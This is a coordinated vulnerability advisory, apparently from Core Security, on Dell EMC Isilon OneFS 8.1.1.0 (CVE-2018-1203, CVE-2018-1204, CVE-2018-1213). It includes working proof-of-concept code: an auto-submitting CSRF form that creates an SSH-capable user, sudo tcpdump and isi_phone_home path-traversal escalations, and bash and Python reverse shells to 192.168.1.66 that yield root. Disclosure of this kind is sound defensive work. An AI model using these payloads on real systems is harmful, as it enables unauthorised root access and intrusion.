Powered by the OneFS operating system, an EMC Isilon cluster delivers a scalable pool of storage with a global namespace. The platform's unified software provides centralized Web-based and command-line administration to manage the following features: - A cluster that runs a distributed file system - Scale-out nodes that add capacity and performance - Storage options that manage files and tiering - Flexible data protection and high availability - Software modules that control costs and optimize resources Multiple vulnerabilities were found in the Isilon OneFS Web console that would allow a remote attacker to gain command execution as root. **Vulnerable Packages** . Dell EMC Isilon OneFS version 8.1.1.0 (CVE-2018-1203, CVE-2018-1204) . **Vendor Information, Solutions and Workarounds** Dell EMC provided a link to the Download for Isilon OneFS page which contains the patches: . https://support.emc.com/downloads/15209_Isilon-OneFS 6. **Credits** These vulnerabilities were discovered and researched by Ivan Huertas and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. **Technical Description / Proof of Concept Code** The Web console contains several sensitive features that are vulnerable to cross-site request forgery. We describe this issue in section 7.1. Sections 7.2 and 7.3 show two vectors to escalate privileges to root. Various persistent cross-site scripting issues are presented in the remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9). **Cross-site request forgery leading to command execution** [CVE-2018-1213] There are no anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. The Web console contains a plethora of sensitive actions that can be abused, such as adding new users with SSH access or re-mapping existing storage directories to allow read-write-execute access to all users. All requests are JSON-encoded, which in some cases might hinder exploitation of CSRF vulnerabilities. However, the application does not verify the content-type set. This allows an attacker to exploit the CSRF vulnerabilities by setting a text/plain content-type and sending the request body as JSON_PAYLOAD=ignored. The following proof of concept creates a new user and assigns him a new role with enough privileges to log in via SSH, configure identifies, manage authentication providers, configure the cluster and run the remote support tools. /----- <html> <body> <form id="addUser" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/users?query_member_of=true&resolve_names=true&start=0&zone=System&provider=lsa-local-provider%3ASystem" method="POST" enctype="text/plain"> <input type="hidden" name="{"name":"pepito","enabled":true,"shell":"/bin/zsh","password_expires":false,"password":"pepito"}" value="" /> </form> <form id="addRole" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/roles" method="POST" enctype="text/plain"> <input type="hidden" name="{"members":[{"name":"pepito","type":"user"}],"name":"pepito_role","privileges":[{"id":"ISI_PRIV_AUTH","name":"Auth","read_only":false},{"id":"ISI_PRIV_CLUSTER","name":"Cluster","read_only":false},{"id":"ISI_PRIV_REMOTE_SUPPORT","name":"Remote Support","read_only":false},{"id":"ISI_PRIV_LOGIN_SSH","name":"SSH","read_only":true}]}" value="" /> </form> <script> document.getElementById("addUser").submit(); window.setTimeout(function() { document.getElementById("addRole").submit() }, 1000); </script> </body> </html> -----/ 7.2. **Privilege escalation due to incorrect sudo permissions** [CVE-2018-1203] The compadmin user can run the tcpdump binary with root privileges via sudo. This allows for local privilege escalation, as tcpdump can be instructed to run shell commands when rotating capture files. /----- pepe-1$ id uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon) pepe-1$ cat /tmp/lala.sh #!/bin/bash bash -i >& /dev/tcp/192.168.1.66/8888 0>&1 -----/ Once the desired shell script is in place, the attacker can run tcpdump as follows to trigger the execution: /----- pepe-1$ sudo tcpdump -i em0 -G 1 -z /tmp/lala.sh -w dump tcpdump: WARNING: unable to contact casperd tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size 65535 bytes /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused -----/ As can be seen below, the script runs with root privileges: /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 57692) bash: no job control in this shell [root@pepe-1 /compadmin]# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.3. **Privilege escalation via remote support scripts** [CVE-2018-1204] >From the documentation: "OneFS allows remote support through EMC Secure Remote Services (ESRS) which monitors your EMC Isilon cluster, and with your permission, allows remote access to Isilon Technical Support personnel to gather cluster data and troubleshoot issues." "After you enable remote support through ESRS, Isilon Technical Support personnel can request logs with scripts that gather EMC Isilon cluster data and then upload the data. The remote support scripts based on the Isilon isi_gather_info log-gathering tool are located in the /ifs/data/Isilon_Support/ directory on each node." "Additionally, isi_phone_home, a tool that focuses on cluster- and node-specific data, is enabled once you enable ESRS. This tool is pre-set to send information about your cluster to Isilon Technical Support on a weekly basis. You can disable or enable isi_phone_home from the OneFS command-line interface." As a cluster administrator or compadmin, it is possible to enable the remote support functionality, hence enabling the isi_phone_home tool via sudo. If remote support is not enabled, an attacker could perform the following operations in order to enable it: /----- pepe-1$ sudo isi network subnets create 1 ipv4 1 pepe-1$ sudo isi network pools create 1.0 pepe-1$ sudo isi remotesupport connectemc modify --enabled=yes --primary-esrs-gateway=10.10.10.10 --use-smtp-failover=no --gateway-access-pools=1.0 -----/ The isi_phone_home tool is supposed to run scripts located in the root-only writable directory /usr/local/isi_phone_home/script. However, the provided script name is used to construct the file path without sanitization, allowing an attacker to reference other locations. /----- def run_script(script_file_name): script_path = CFG.get('SCRIPTDIR') + '/' + script_file_name if os.path.isfile(script_path): cmd = 'python ' + script_path + ' 2>&1 ' command_thread = command.Command(cmd) exit_code, output = command_thread.run(int(CFG.get("SCRIPT_TIEMOUT"))) if exit_code: logging.error("Error: {0} running script: {1} ".format(str(exit_code), output)) else: logging.error("File: {0} list_file_name doesn't exist ".format(script_path)) -----/ The final step would be to create a malicious python script on any writable location and call it via the isi_phone_tool using sudo. Keep in mind that the previous steps are not required if the system does already have remote support enabled. /----- pepe-1$ cat /tmp/lala.py #!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.66",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) pepe-1$ sudo /usr/bin/isi_phone_home --script-file ../../../../../tmp/lala.py -----/ /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 56807) pepe-1# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.4. *Persistent cross-site scripting in the cluster description* [CVE-2018-1186] The description parameter of the /cluster/identity endpoint is vulnerable to cross-site scripting.
